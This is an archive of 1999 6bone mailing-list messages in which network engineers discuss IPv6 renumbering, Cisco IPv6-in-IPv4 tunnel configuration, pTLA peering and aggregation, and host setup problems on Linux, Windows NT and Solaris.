Cc: IPv6 Deployment List <deployment@ipv6.org>, 6BONE List <6bone@ISI.EDU>,
        ngtrans@sunroof.Eng.Sun.COM
Subject: Re: (ngtrans) Re: 6BONE AUP
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>>>>> "Perry" == Perry E Metzger <perry@piermont.com> writes:

    Perry> No. That's really unacceptable. It is fine to automate
    Perry> something like this and say "the solution is automation"
    Perry> (AFTER you demonstrate said automation), but it is *not*
    Perry> fine to say "the solution is burning human cycles". If that
    Perry> is the solution, then we'll never be able to
    Perry> renumber.

I've to confess i've always found the discussions about renumbering
"interesting"... specially since people often refuse to quantify what
should be renumbered. Since the costs of such operation depend on the
position on the topology of what you are trying to renumber that has
always sounded to me that ipv6 will do renumbering at all costs.  From
an engineering point of view, which is basically the "art" of making
tradeoffs, that sounds odd. As if we had taken "renumbering" as a
buzzword without looking at the implications.

But let's not discuss if renumbering is, or rather when it is, a good
idea.

The major implication of renumbering is that you can't consider
addresses as identifiers of the objects but instead you must have
another handle for those objects.

Thus, you must have a way to resolve objects into addresses. Which is
fine for most purposes but becomes a real problem when you think about
the infrastructure that is involved in that resolution. A router, for
instance, is typically involved in such process. As such, it's
configuration has to be already "resolved". For instance you fall into
trouble really fast if you try to resolve a router's policy in terms
of objects (dns names or what-have-you).

Assuming we agree that a router's policy should be "resolved" and specified
in terms of addresses (which i believe we do from the router
renumbering efforts i'm aware off) there are basically two ways to go
about solving the resolution problem.

1) Notify all the dependents of an object->address mapping of any
changes in such mapping.

2) Express the router's policy in terms of objects off-line and
periodicly resolve the mappings and feed the resolved policies to the
router.

My humble opinion is that 1 is basically an untractable problem (and
curriously the aproach that has been given more consideration so
far). Number 2 is basically the aproach used by a reasonably large
network this days... but it is an aproach that is fairly limitative if
carried all the way and that requires quite a shift in paradigm.

regards,
  Pedro.

btw: just in case you need to be reminded, the opinions expressed
above reflect my own personal opinions only and not those of my
current employer.

From 6bone-owner  Fri Feb 19 03:01:46 1999
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From: Robert Elz <kre@munnari.OZ.AU>
To: Pedro Marques <roque@cisco.com>
Cc: perry@piermont.com, IPv6 Deployment List <deployment@ipv6.org>,
        6BONE List <6bone@ISI.EDU>, ngtrans@sunroof.Eng.Sun.COM
Subject: Re: (ngtrans) Re: 6BONE AUP 
In-Reply-To: Your message of "Fri, 19 Feb 1999 00:22:49 -0800."
             <14029.6072.69881.109989@pedrom-ultra.cisco.com> 
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    Date:        Fri, 19 Feb 1999 00:22:49 -0800 (PST)
    From:        Pedro Marques <roque@cisco.com>
    Message-ID:  <14029.6072.69881.109989@pedrom-ultra.cisco.com>

  | 2) Express the router's policy in terms of objects off-line and
  | periodicly resolve the mappings and feed the resolved policies to the
  | router.

This is way too much over specified into implementation detail.

Eg: consider a "routing system", consisting of a traditional router, and
a general purpose host in a box connected to the router over one of its
local net internaces (or any other way).

Let the host be the thing that does the resolving of the mappings, and
the feeding to the router.   That seems like it would fit your model, it
might even be yourintent, and certainly seems like it is a way
that could work.

Now let us notice that the particular router in question is in a big box,
and has a big power supply, and that we don't really need quite a lot of
the associated peripherals for the host for this particular purpose, so
let's move the host processor, and net interface inside the router's big
box.   This is just a matter of packaging, so this can't make a difference
to the model.

Now let's avoid the unnecessary net interface by connecting the host that
is in the box anyway to the router's backplane - a bunch of hardware glue
is needed there, but the model doesn't change.

Now let's notice that we have this fairly general purpose host sharing
backplane access with the router, so let's decide we can also use that
as the the "user interface" into the router - sinking telnet connections,
handling SNMP queries, ... getting the info it needs into and out of the
router as it needs over the backplane.   As I see it, the model still
hasn't changed.

Now let's decide that miniaturisation is the way to go, and build the router
and the host onto a single motherboard, and mount it all in a much
smaller box.  The model surely hasn't changed - but now by any common
perception we have the router doing its own resolving of names into
addresses/masks - and nothing that looks at all off-line involved at all.

Which of these mechanisms any particular router vendor decides to implement
is, of course, entirely up to it - we ought not be attempting to
specify the mechanisms by which it is done.  All that is important is
that it actually be done, somehow, by someone, so users are not left
configuring using IP addresses (and for access lists, filter specs, or
whatever, this is almost as important for v4 as for v6).

kre


From 6bone-owner  Fri Feb 19 07:34:01 1999
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I must admit to having been guilty on this, too, but as most of us are 
on ngtrans and the 6bone list, maybe we could avoid CCing mail to all
three which only really belongs on one of the lists? I realized this
morning I'd gotten three or four copies of all the mail that just got
sent out... :(


Perry

From 6bone-owner  Fri Feb 19 08:44:45 1999
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Date: Fri, 19 Feb 1999 17:44:26 +0100 (MET)
From: "Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it>
To: 6bone <6bone@ISI.EDU>
Subject: ipv6 tunnel
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Hello ! 
We are two students of Italian University
We use linux RedHat 5.2 kernel 2.1.126 with modutils 2.1.121.
We would to install ipv6 on our linux machine.
We are using the Bieriger's HOWTO !    
We compiled :
inet6-apps0.34 
telnet95.10.23.....
libcap0.4a6......
tcpdump3.4a....
traceroute1.4a5....
net-tools1.50
chimera2.0a14....
......................

We don't understand tunnel ipv6 !
Where can we get some information ?
We would like to know how to configure ipv6 tunnel !
We don't understand why we must set up sit0 and sit1 !
Anybody can help us ? 

Thanks

Luca & Giancarlo
  
 





From 6bone-owner  Fri Feb 19 10:10:26 1999
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From: "Adailton J. S. Silva" <adailton@na-cp.rnp.br>
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Subject: Brazilian 6Bone Web Site
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6Bone Folks,

We are very pleased to announce the Brazilian 6Bone web site at
http://www.6bone.rnp.br, and a 6Bone Whois Mirror at
http://www.6bone.rnp.br/whois.html. 

Both sites can be reached throught IPv6 and IPv4 networks. 

Best Regards,
Adailton Silva
Brazilian Research Network - Brazil
Phone: +55 19 788-2090
Fax: +55 19 788-2094




From 6bone-owner  Fri Feb 19 15:18:23 1999
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Hi;

You might also want to try asking on the "IPv6 Users" mailing list. The
address there is users@ipv6.org -- subscription via
majordomo@ipv6.org.

You will have to subscribe before posting...

Perry

"Tesi TLC (G. MazzinI)" <tesi_tlc@ing240.unife.it> writes:

> Hello ! 
> We are two students of Italian University
> We use linux RedHat 5.2 kernel 2.1.126 with modutils 2.1.121.
> We would to install ipv6 on our linux machine.
> We are using the Bieriger's HOWTO !    
> We compiled :
> inet6-apps0.34 
> telnet95.10.23.....
> libcap0.4a6......
> tcpdump3.4a....
> traceroute1.4a5....
> net-tools1.50
> chimera2.0a14....
> ......................
> 
> We don't understand tunnel ipv6 !
> Where can we get some information ?
> We would like to know how to configure ipv6 tunnel !
> We don't understand why we must set up sit0 and sit1 !
> Anybody can help us ? 
> 
> Thanks
> 
> Luca & Giancarlo
>   
>  

From 6bone-owner  Sun Feb 21 23:37:57 1999
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Subject: Cisco tunnel config
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Hello, everyone.

It is me (with my cisco) again. ;)
I have found IOS 11.3/IPv6 for Series 2501, and my present problem is
that I cannot find a proper way to configure tunnel to our
pTLA. Those of you who use ciscos, could you send me any hints? 

Sections of your `show running-config` as examples will be very helpful.

There is a command 'show ipv6 tunnel', but there is no command (none
that I could find) under configure-mode that I can use to actually
_configure_ a tunnel.

Generally, is there any documentation available that covers IPv6 part
of Cisco's IOS? I will look for it at www.cisco.com as a CCO-member,
so I am basicly asking about documentation other than from Cisco.

Thanks.
--vc

From 6bone-owner  Mon Feb 22 03:39:04 1999
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From: Robert Elz <kre@munnari.OZ.AU>
To: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Cc: IPv6 Deployment List <deployment@ipv6.org>, 6BONE List <6bone@ISI.EDU>,
        ngtrans@sunroof.Eng.Sun.COM
Subject: Re: (ngtrans) Re: 6BONE AUP 
In-Reply-To: Your message of "Mon, 22 Feb 1999 12:19:51 BST."
             <3.0.2.32.19990222121951.009e2510@dokka.maxware.no> 
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    Date:        Mon, 22 Feb 1999 12:19:51 +0100
    From:        Harald Tveit Alvestrand <Harald@Alvestrand.no>
    Message-ID:  <3.0.2.32.19990222121951.009e2510@dokka.maxware.no>

  | Doesn't the A6 record have about the right format to do the job?

As an RR, yes, it could serve probably (I have not thought about that
a lot - an RR to convey the information is about the least of the issues
to work out).

What's more important to figure out is just what information needs to be
conveyed, to whom, and when.

Pedro Marques and I engaged in a short exchange about all of this over
the weekend - the result was a message which could conceivably be turned
into an I-D in one of ngtrans, ipngwg, or even pier if it still exists.
I am waiting to hear from the chairs of those groups whether there is
any interest.

kre


From 6bone-owner  Mon Feb 22 04:17:43 1999
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From: Mathew Joseph <mjoseph@cisco.com>
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Hi Bob,

Can I get the backing
of the 6bone net for
applying to the IANA/IETF
for a port number that 
would involve IPv6 application

Shall send the details of the
freeware, once I get your response

Thanks
Joseph Mathew

From 6bone-owner  Mon Feb 22 05:28:15 1999
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From: Hossam El-Ashkar <hoashkar@idsc1.gov.eg>
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> I have downloaded your ios image for 1600 routers. There is a
> command for the configured tunnel " tunnel mode ipv6ip " in the
interface
> conf mode. It does not work, the ios does not recognize this command!!!
> How can i configure a tunnel??

you are trying this with a tunnel interface?
A typical tunnel configuration would look something like this:
interface Tunnel0
 no ip address
 ipv6 unnumbered Ethernet0
 tunnel source Ethernet0
 tunnel destination 130.67.0.1
 tunnel mode ipv6ip
!

If this doesn't work can you please send us the output of sh ver and sh
conf?

Thanks,
Ole                                         

On Mon, 22 Feb 1999, Vitaly Chipitsyn wrote:

> Hello, everyone.
> 
> It is me (with my cisco) again. ;)
> I have found IOS 11.3/IPv6 for Series 2501, and my present problem is
> that I cannot find a proper way to configure tunnel to our
> pTLA. Those of you who use ciscos, could you send me any hints? 
> 
> Sections of your `show running-config` as examples will be very helpful.
> 
> There is a command 'show ipv6 tunnel', but there is no command (none
> that I could find) under configure-mode that I can use to actually
> _configure_ a tunnel.
> 
> Generally, is there any documentation available that covers IPv6 part
> of Cisco's IOS? I will look for it at www.cisco.com as a CCO-member,
> so I am basicly asking about documentation other than from Cisco.
> 
> Thanks.
> --vc
> 

--------------------------------------------------------------
Hossam El-Ashkar
IDSC/RITSEC - Communication Dept.
hoashkar@idsc1.gov.eg


From 6bone-owner  Mon Feb 22 06:25:45 1999
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From: Cung Nguyen <cnguyen@triton-network.com>
To: "'Vitaly Chipitsyn'" <vchipitsyn@picard.cs.ohiou.edu>,
        6bone Mailing List <6bone@ISI.EDU>
Subject: RE: Cisco tunnel config
Date: Mon, 22 Feb 1999 09:22:12 -0500
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I believe there are several books that may be of help to your research:

1) Implementing IPV6 by Mark Miller
2) Internetworking IPV6 w/ Cisco routers by Silvano Gai

There are also others and you can look them up in amazon.com web site.
Hope that helps! 

Sounds like the configuration command may be a subset of the IPV6
configuration command.  

=================
Cung Nguyen
Triton Network Systems Inc.
407.903.2052 or cnguyen@triton-network.com


> -----Original Message-----
> From:	Vitaly Chipitsyn [SMTP:vchipitsyn@picard.cs.ohiou.edu]
> Sent:	Monday, February 22, 1999 2:38 AM
> To:	6bone Mailing List
> Subject:	Cisco tunnel config
> 
> Hello, everyone.
> 
> It is me (with my cisco) again. ;)
> I have found IOS 11.3/IPv6 for Series 2501, and my present problem is
> that I cannot find a proper way to configure tunnel to our
> pTLA. Those of you who use ciscos, could you send me any hints? 
> 
> Sections of your `show running-config` as examples will be very
> helpful.
> 
> There is a command 'show ipv6 tunnel', but there is no command (none
> that I could find) under configure-mode that I can use to actually
> _configure_ a tunnel.
> 
> Generally, is there any documentation available that covers IPv6 part
> of Cisco's IOS? I will look for it at www.cisco.com as a CCO-member,
> so I am basicly asking about documentation other than from Cisco.
> 
> Thanks.
> --vc

From 6bone-owner  Mon Feb 22 07:44:49 1999
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Date: Mon, 22 Feb 1999 07:44:40 -0800
To: Mathew Joseph <mjoseph@cisco.com>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: Port number !
Cc: Tony Hain <tonyhain@microsoft.com>,
        Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>,
        Bert Wijnen <WIJNEN@VNET.IBM.COM>
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Mathew,

At 05:48 PM 2/22/99 +0530, Mathew Joseph wrote:
>Hi Bob,
>
>Can I get the backing
>of the 6bone net for
>applying to the IANA/IETF
>for a port number that 
>would involve IPv6 application
>
>Shall send the details of the
>freeware, once I get your response

Have to admit to not knowing how to respond to this. Maybe one of our ADs
(Harald or Bert) could reply to this.

Anyone else know what the policy is re getting port numbers, what it takes,
who really does it, etc. (not clear the 6bone has any place in this at all)?


Thanks,

Bob

From 6bone-owner  Mon Feb 22 07:52:33 1999
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Date: Mon, 22 Feb 1999 14:59:44 +0100 (MET)
From: Jose Joaquin Serrano Rodenas <Jose.J.Serrano@uv.es>
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To: Vitaly Chipitsyn <vchipitsyn@picard.cs.ohiou.edu>
cc: 6bone Mailing List <6bone@ISI.EDU>
Subject: Re: Cisco tunnel config
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On Mon, 22 Feb 1999, Vitaly Chipitsyn wrote:

> Hello, everyone.
> 
> It is me (with my cisco) again. ;)
> I have found IOS 11.3/IPv6 for Series 2501, and my present problem is
> that I cannot find a proper way to configure tunnel to our
> pTLA. Those of you who use ciscos, could you send me any hints? 
> 
> Sections of your `show running-config` as examples will be very helpful.
> 
> There is a command 'show ipv6 tunnel', but there is no command (none
> that I could find) under configure-mode that I can use to actually
> _configure_ a tunnel.
> 
> Generally, is there any documentation available that covers IPv6 part
> of Cisco's IOS? I will look for it at www.cisco.com as a CCO-member,
> so I am basicly asking about documentation other than from Cisco.
> 
> Thanks.
> --vc

Hello.

Here is my tunnel configuration

interface Tunnel0
 description Tunel hacia RedIris (IPv6)
 no ip address
 ipv6 enable
 ipv6 address <your ipv6 tunnel address>
 tunnel source <ipv4 tunnel source>
 tunnel destination <ipv4 tunnel destination>
 tunnel mode ipv6ip
 !
 interface Ethernet0
 ip address 147.156.1.131 255.255.128.0
 ip pim dense-mode
 ipv6 address <your ipv6 eth0  address>
 !
      


This configuration work good.

To configure the ipv6 tunnel you should use the same command that to configure a ipv4 tunnel

bye.

Jose Serrano 


From 6bone-owner  Mon Feb 22 07:53:11 1999
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Date: Mon, 22 Feb 1999 16:51:06 +0100
To: Bob Fink <fink@es.net>, Mathew Joseph <mjoseph@cisco.com>, 6bone@ISI.EDU
From: Alain Durand <Alain.Durand@imag.fr>
Subject: Re: Port number !
Cc: Tony Hain <tonyhain@microsoft.com>,
        Harald Tveit Alvestrand <Harald.Alvestrand@maxware.no>,
        Bert Wijnen <WIJNEN@VNET.IBM.COM>
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At 07:44 22/02/99 -0800, Bob Fink wrote:

>Anyone else know what the policy is re getting port numbers, what it takes,
>who really does it, etc. (not clear the 6bone has any place in this at all)?

Years ago (maybe it was easier at the time) I asked IANA for a port
number. I first had to give them a short description of the protocol
to argue if/why I needed a "privilege" one (<1024).
Later on I send them a draft documenting the protocol itself.

	- Alain.


From 6bone-owner  Mon Feb 22 08:08:44 1999
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Subject: Re: Cisco tunnel config
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Vitaly Chipitsyn <vchipitsyn@picard.cs.ohiou.edu> said:
> Hello, everyone.

> It is me (with my cisco) again. ;)

> I have found IOS 11.3/IPv6 for Series 2501, and my present problem is
> that I cannot find a proper way to configure tunnel to our
> pTLA. Those of you who use ciscos, could you send me any hints? 

> Sections of your `show running-config` as examples will be very helpful.

  It's just part of a "normal" tunnel configuration, except you need
to set the mode to "ipv6ip", via "tunnel mode".  My tunnel to UUNET-UK
looks [about] like:

interface Tunnel6
 description IPv6 in IPv4 tunnel to UUNET-UK (6r1.paloalto.ip6.pipex.net)
 no ip address
 ipv6 address <v6-addr for this end of tunnel's /64>
 tunnel source <my-v4-addr>
 tunnel destination <their-v4-addr>
 tunnel mode ipv6ip

> There is a command 'show ipv6 tunnel', but there is no command (none
> that I could find) under configure-mode that I can use to actually
> _configure_ a tunnel.

> Generally, is there any documentation available that covers IPv6 part
> of Cisco's IOS? I will look for it at www.cisco.com as a CCO-member,
> so I am basicly asking about documentation other than from Cisco.

  When I originally got IPv6 code from my Cisco rep, before it was
made available to CCO members from their web page (4 months ago?) I
also got from him a commands.txt file that contained information on
the changes made in the IPv6 code base, and how to configure the IPv6
bits.  You might ask your cisco rep for such a thing.

  I suppose I could also ask mine if it would be alright to contribute
this document to the 6bone.net web page, or a link therefrom...

                            - Chris

--
Chris P. Ross				UUNET Technologies, Inc.
cross@eng.us.uu.net			R & D / Engineering
cross@uu.net

From 6bone-owner  Tue Feb 23 02:14:26 1999
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	(envelope-from jabley)
Date: Tue, 23 Feb 1999 23:13:45 +1300
From: Joe Abley <jabley@clear.co.nz>
To: 6bone@ISI.EDU
Cc: jabley@clear.co.nz
Subject: v6 numbering confusion
Message-ID: <19990223231345.D29663@clear.co.nz>
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Hi all,

I'm currently pestering pTLAs and pNLAs to accept tunnels from us as we
take our first stab at a test v6 deployment. Our main motives for testing
at this stage are to get a firm grip of the administrative issues
surrounding the operation of a diversely-connected v6 network, including
application of route policy and associated filtering, and processes for
the delegation of addresses to downstream customer networks.

One issue that confuses me slightly is that of the aggregation of addresses.
If one pTLA delegates a 48-bit prefix to us, should we then announce that
prefix to any successive pTLAs who allow us to build a tunnel to them?

This sounds a bit like the hole-punching that abounds with current IPv4
numbering and aggregation. Isn't this a bad thing?

Have I missed some basic point? [probably -- please bear with me; I'm
still learning :)]


Joe

From 6bone-owner  Wed Feb 24 09:17:14 1999
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Date: Wed, 24 Feb 1999 16:47:17 +0100
From: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
To: "Chris P. Ross" <cross@eng.us.uu.net>
Cc: Vitaly Chipitsyn <vchipitsyn@picard.cs.ohiou.edu>,
        6bone Mailing List <6bone@ISI.EDU>
Subject: Re: Cisco tunnel config
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>   When I originally got IPv6 code from my Cisco rep, before it was
> made available to CCO members from their web page (4 months ago?) I
> also got from him a commands.txt file that contained information on
> the changes made in the IPv6 code base, and how to configure the IPv6
> bits.  You might ask your cisco rep for such a thing.

This file is also available via CCO, just like the IOS image.

Erich

From 6bone-owner  Wed Feb 24 09:17:49 1999
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	(envelope-from jabley)
Date: Thu, 25 Feb 1999 01:04:26 +1300
From: Joe Abley <jabley@clear.co.nz>
To: 6bone@ISI.EDU
Cc: jabley@clear.co.nz
Subject: v6 route reflector
Message-ID: <19990225010426.D36253@clear.co.nz>
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Hi again,

I forgot to mention - if it would be helpful to anybody else to obtain
an occasional glance at the routing tables from the other side of the
network, you are welcome to telnet to ng1.acld.clix.net.nz using
username "guest" and password "joshua5".

ng1.acld talks (well, listens to, mainly) BGP4+ to cisco, sprint and bt-labs,
and also RIPng to digital australia.

This is an experimental router, so if someone decides to exploit Hideous
Bugs in Cisco Telnet and blow the thing up, we'll live :)

Joe


From 6bone-owner  Wed Feb 24 09:17:54 1999
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	(envelope-from jabley)
Date: Thu, 25 Feb 1999 00:56:46 +1300
From: Joe Abley <jabley@clear.co.nz>
To: 6bone@ISI.EDU
Cc: jabley@clear.co.nz
Subject: Re: v6 numbering confusion
Message-ID: <19990225005645.C36253@clear.co.nz>
References: <19990223231345.D29663@clear.co.nz>
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Me again :)

On Tue, Feb 23, 1999 at 11:13:45PM +1300, Joe Abley wrote:
> 
> One issue that confuses me slightly is that of the aggregation of addresses.
> If one pTLA delegates a 48-bit prefix to us, should we then announce that
> prefix to any successive pTLAs who allow us to build a tunnel to them?
> 
> This sounds a bit like the hole-punching that abounds with current IPv4
> numbering and aggregation. Isn't this a bad thing?

OK. A couple of people got back to me on this, but the answers seem strange...
and not entirely in-line with what I am finding when setting up some
v6 over v4 tunnels around the place.

The advice I got was that if pTLA (a) delegates prefix P(a) to me, and
pTLA (b) delegates prefix P(b) to me, then I should not advertise P(a)
to pTLA (b) [and vice versa], since it breaks the aggregation model.

That makes sense. Kind of. However, there are a few complications that
I can see:

1. If I am assigned n prefixes from n pTLAs to whom I connect, then I
end up with n different unicast addresses for every v6-capable host in
my network. If one of the pTLA tunnels is down, then the corresponding
host addresses (taken from within the corresponding prefix) are unreachable.
If I am using round-robin DNS to spread load across different host
addresses, then in this failure mode my hosts are unreachable 1/n of the
time, and any TCP sessions using the affected unicast address will die
following the failure.  Hmm.

2. If I delegate addresses to our customers (we have customers who want
to join via our v6 network), it seems as though I need to delegate n
prefixes to each customer, and they need to number each of _their_ hosts
n times as well.

Didn't the renumbering problem just get n times worse?

On a completely different topic, I have noticed that some 6bone
experimenters are happy to number the point-to-point tunnel networks
between their routers and mine using quite short-prefix subnets (e.g.
64 bits), whilst others are super-frugal and use prefixes as long as
127 bits.

Is there a convention developing about numbering point-to-point circuits?


Joe


From 6bone-owner  Wed Feb 24 09:25:13 1999
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--------------8E8A16F452A42C94ECB512DE
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Hello all,

We are trying to set up an IPv6 network for testing QoS and IPv6 Sec. At

the moment we have two Win NT 4.0 machines configured with IPv6, these
two machines can Ping each other. After this we configured a Linux
machine with kernel 2.2.1 and so on. This machine can ping itself and,
as far as we can see, works fine.
The problem is we cannot ping the NT machine from the Linux machine or
the Linux machin from the NT machine.
After some packet sniffering with NetMon with the IPv6 update from
microsoft we found that on ethernet level the ping from the NT machine
used Etype: 0x0800.
On the other hand the ping from the linux machine used Etype 0x86DD, as
far as we know this is the standard etype for IPv6.

Can this differenc in etype be a problem? Are there known problems with
pinging from NT to linux and backwards? HOw to solve......

Regards,

Jan Marsman
Marsman@telin.nl

--------------8E8A16F452A42C94ECB512DE
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Message-ID: <36D3BE42.C2BB9BCF@telin.nl>
Date: Wed, 24 Feb 1999 09:54:26 +0100
From: Jan Marsman <marsman@telin.nl>
Organization: Telematica Instituut
X-Mailer: Mozilla 4.06 [en] (WinNT; I)
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To: 6bone@ici.edu, msripv6-users@list.research.microsoft.com
Subject: IPv6: Enet. problem
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello all,

We are trying to set up an IPv6 network for testing QoS and IPv6 Sec. At
the moment we have two Win NT 4.0 machines configured with IPv6, these
two machines can Ping each other. After this we configured a Linux
machine with kernel 2.2.1 and so on. This machine can ping itself and,
as far as we can see, works fine.
The problem is we cannot ping the NT machine from the Linux machine or
the Linux machin from the NT machine.
After some packet sniffering with NetMon with the IPv6 update from
microsoft we found that on ethernet level the ping from the NT machine
used Etype: 0x0800.
On the other hand the ping from the linux machine used Etype 0x86DD, as
far as we know this is the standard etype for IPv6.

Can this differenc in etype be a problem? Are there known problems with
pinging from NT to linux and backwards? HOw to solve......

Regards,

Jan Marsman
Marsman@telin.nl


--------------8E8A16F452A42C94ECB512DE--


From 6bone-owner  Wed Feb 24 09:53:53 1999
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To: "J. Marsman" <marsman@telin.nl>
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From: "Matt Crawford" <crawdad@fnal.gov>
Subject: Re: IPv6: Enet. problem 
In-reply-to: Your message of Wed, 24 Feb 1999 10:34:27 +0100.
             <36D3C7A3.193FEC81@telin.nl> 
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Were the NT machines sending native IPv6 or were they using tunnels
or "6 over 4" encapsulation?  In other words, following the ethernet
header with type 0x0800, was there an IPv4 header with protocol = 41
decimal?  Or was it an IPv6 header?  The former would be a
configuration error, the latter would be very puzzling.
______________________________________________________________________________
Matt Crawford                    crawdad@fnal.gov                     Fermilab
"A5.1.5.2.7.1. Remove all classified and CCI boards from the COMSEC equipment,
thoroughly smash them with a hammer or an ax, and scatter the pieces."

From 6bone-owner  Wed Feb 24 10:27:17 1999
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From: Richard Draves <richdr@microsoft.com>
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-----Original Message-----
From: Richard Draves 
Sent: Wednesday, February 24, 1999 9:49 AM
To: 'J. Marsman'
Cc: 6bone@ici.edu; msripv6-users@list.research.microsoft.com
Subject: RE: IPv6: Enet. problem


> We are trying to set up an IPv6 network for testing QoS and 
> IPv6 Sec. At
> the moment we have two Win NT 4.0 machines configured with IPv6, these
> two machines can Ping each other. After this we configured a Linux
> machine with kernel 2.2.1 and so on. This machine can ping itself and,
> as far as we can see, works fine.
> The problem is we cannot ping the NT machine from the Linux machine or
> the Linux machin from the NT machine.
> After some packet sniffering with NetMon with the IPv6 update from
> microsoft we found that on ethernet level the ping from the NT machine
> used Etype: 0x0800.
> On the other hand the ping from the linux machine used Etype 
> 0x86DD, as
> far as we know this is the standard etype for IPv6.
> 
> Can this differenc in etype be a problem? Are there known 
> problems with
> pinging from NT to linux and backwards? HOw to solve......

Our implementation uses the standard ethertype and it does interoperate with
Linux.

I suspect that you are confusing the 6over4 interface/link-local addresses
with the ethernet interface/link-local addresses. When you use the "ipv6 if"
command to list the interfaces on your NT machine, it will show an ethernet
interface and a 6over4 interface. (You can tell them apart because the
6over4 interface will have a v4 address as its link-layer address.) Be sure
to use the ethernet interface and its associated addresses when
communicating with Linux.

Rich

From 6bone-owner  Thu Feb 25 14:36:00 1999
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	(envelope-from jabley)
Date: Fri, 26 Feb 1999 11:35:49 +1300
From: Joe Abley <jabley@clear.co.nz>
To: 6bone@ISI.EDU
Cc: jabley@clear.co.nz
Subject: Protocol number for IPv6 in IPv4 tunnel
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Hi,

What's the protocol number seen by an IPv4-snooping device when it encounters
an IPv4-encapsulated IPv6 packet? Is it 41?

In case it makes a difference (and I doubt it does) we are terminating our
tunnels on a cisco router using the "ipv6ip" tunnel mode.

Appreciated,


Joe


From 6bone-owner  Thu Feb 25 22:46:17 1999
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Joe Abley wrote:
> What's the protocol number seen by an IPv4-snooping device when it encounters
> an IPv4-encapsulated IPv6 packet? Is it 41?

That's right, 41.
 
Thomas

From 6bone-owner  Fri Feb 26 06:41:21 1999
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To: sun-ipv6-users@sunroof.Eng.Sun.COM, 6bone@ISI.EDU, ipv6-feedback@Sun.COM
Subject: Ping IPv6 ONLY ?
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To All

I have set up 
1) my Sun Ultra 10 with Solaris 7 and the IPv6 patches, from the playground.
2) the /etc/hosts and /etc/hosts6 to include all hosts on my subnet.
3) the DNS server with IPv6 hosts
4) the /etc/nsswitch.conf for files then dns for hosts and hosts6

I can
1) Ping IPv6 address longhand ( ping ::1 , ping
fec0:f1::a00:20ff:fxxx.xxxx.xxxx )
2) nslookup, set q=aaaa and enter host names and get IPv6 address returned.

I cannot
1) ping hostname
2) telnet hostname
3) ftp .........

PLEASE - Can anyone help ?

Is the sun package for IPv4 and IPv6 or is it just IPv6 ? - I think the
former, suspect that the lower lying libraries are IPv4 only.

Keith

Keith Jamieson
* keith.jamieson@bt.com
* 01473 641662



From 6bone-owner  Fri Feb 26 10:35:53 1999
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It sounds like you are using old packages, perhaps the 2.5.1
version on Solaris 7?  It is not going to work properly if so.

BUT, the old stuff used to put the utilities in /usr/ipv6/bin
and /usr/ipv6/sbin, are those first in your path?  If not, you
would get the IPv4 binaries from /usr/bin and /usr/sbin.  Of
course all this is changed in the newer releases...

I suspect that installing the 2.5.1 version of the package on
Solaris 7 wouldn't work, but if it did, it would probably do
what you are saying it does.  Suggestion: if it is called
something like ipv6_5.3.tar.Z, don't use it.  Note that the date
on that file is two years ago or so...  Remove it, and work on
getting the Solaris 7 package.

http://www.sun.com/solaris/ipv6/

That's the site for Solaris IPv6, however, last I checked (three
days ago), it hadn't been updated since sometime the middle of
1997.  (Sun: this page *really* needs to be updated.  Really it
does.  Actually, the page that it refers to needs to be
updated.)

keith.jamieson@bt.com <keith.jamieson@bt.com> wrote:
 > To All
 > 
 > I have set up 
 > 1) my Sun Ultra 10 with Solaris 7 and the IPv6 patches, from the playground.
 > 2) the /etc/hosts and /etc/hosts6 to include all hosts on my subnet.
 > 3) the DNS server with IPv6 hosts
 > 4) the /etc/nsswitch.conf for files then dns for hosts and hosts6
 > 
 > I can
 > 1) Ping IPv6 address longhand ( ping ::1 , ping
 > fec0:f1::a00:20ff:fxxx.xxxx.xxxx )
 > 2) nslookup, set q=aaaa and enter host names and get IPv6 address returned.
 > 
 > I cannot
 > 1) ping hostname
 > 2) telnet hostname
 > 3) ftp .........
 > 
 > PLEASE - Can anyone help ?
 > 
 > Is the sun package for IPv4 and IPv6 or is it just IPv6 ? - I think the
 > former, suspect that the lower lying libraries are IPv4 only.
 > 
 > Keith
 > 
 > Keith Jamieson
 > * keith.jamieson@bt.com
 > * 01473 641662

_______________________________________________________________________
|Aaron Dewell			===>		dewell@woods.net      |
|aka		local guru	===>		dewell@greatland.net  |
|http://www.woods.net/~dewell			http://www.woods.net/ |
|PGP keyid 0x0D12A6B9 available from http://keys.pgp.com/	      |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


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Date: Mon, 01 Mar 1999 10:53:21 +0800
From: Yann-Ju Chu <yjchui@ms.chttl.com.tw>
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Subject: Peering with other pTLA
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	We have bocame a pTLA site in 6Bone and are trying to build peering with other pTLAs. I have studied two drafts: "Multihomed routing domain issues for IPv6 aggregatable scheme" and "6Bone routing practice", but still are confused with something.
	1. Should I normally announce only my own address prefix (3ffe:3600::/24) to my peers?
	2. If the answer is right => I should build full mesh connection with all 6Bone pTLAs, if I want a complete access to all 6Bone sites?
						Chu
						ChungHwa Telecom. Co.

From 6bone-owner  Mon Mar  1 15:09:03 1999
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Date: Mon, 01 Mar 1999 15:08:54 -0800
To: Yann-Ju Chu <yjchui@ms.chttl.com.tw>, 6Bone <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Re: Peering with other pTLA
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At 10:53 AM 3/1/99 +0800, Yann-Ju Chu wrote:
>	We have bocame a pTLA site in 6Bone and are trying to build peering with 
>other pTLAs. I have studied two drafts: "Multihomed routing domain issues 
>for IPv6 aggregatable scheme" and "6Bone routing practice", but still are 
>confused with something.
>	1. Should I normally announce only my own address prefix (3ffe:3600::/24) 
>to my peers?

In the spirit of the 6bone you should be willing to provide transit to all
other 6bone pTLAs (see section 4 of the 6Bone Routing Practice I-D below)
thus you can/should be willing to announce other pTLAs as well as your own.


>	2. If the answer is right => I should build full mesh connection with all 
>6Bone pTLAs, if I want a complete access to all 6Bone sites?

Given the above, you do not need to build a full mesh, which is why we
recommend 3 (again, see excerpt below).


Bob

===
draft-ietf-ngtrans-6bone-routing-01.txt 6Bone Routing Practice 1 June 1998

4 Routing policies

6Bone backbone sites maintain the mesh into the backbone and provide an as
reliable as possible service, granted the 6Bone is an experimentation tool.
To achieve their mission, 6Bone backbone sites MUST maintain peerings with
at least 3 (three) other back bone sites.

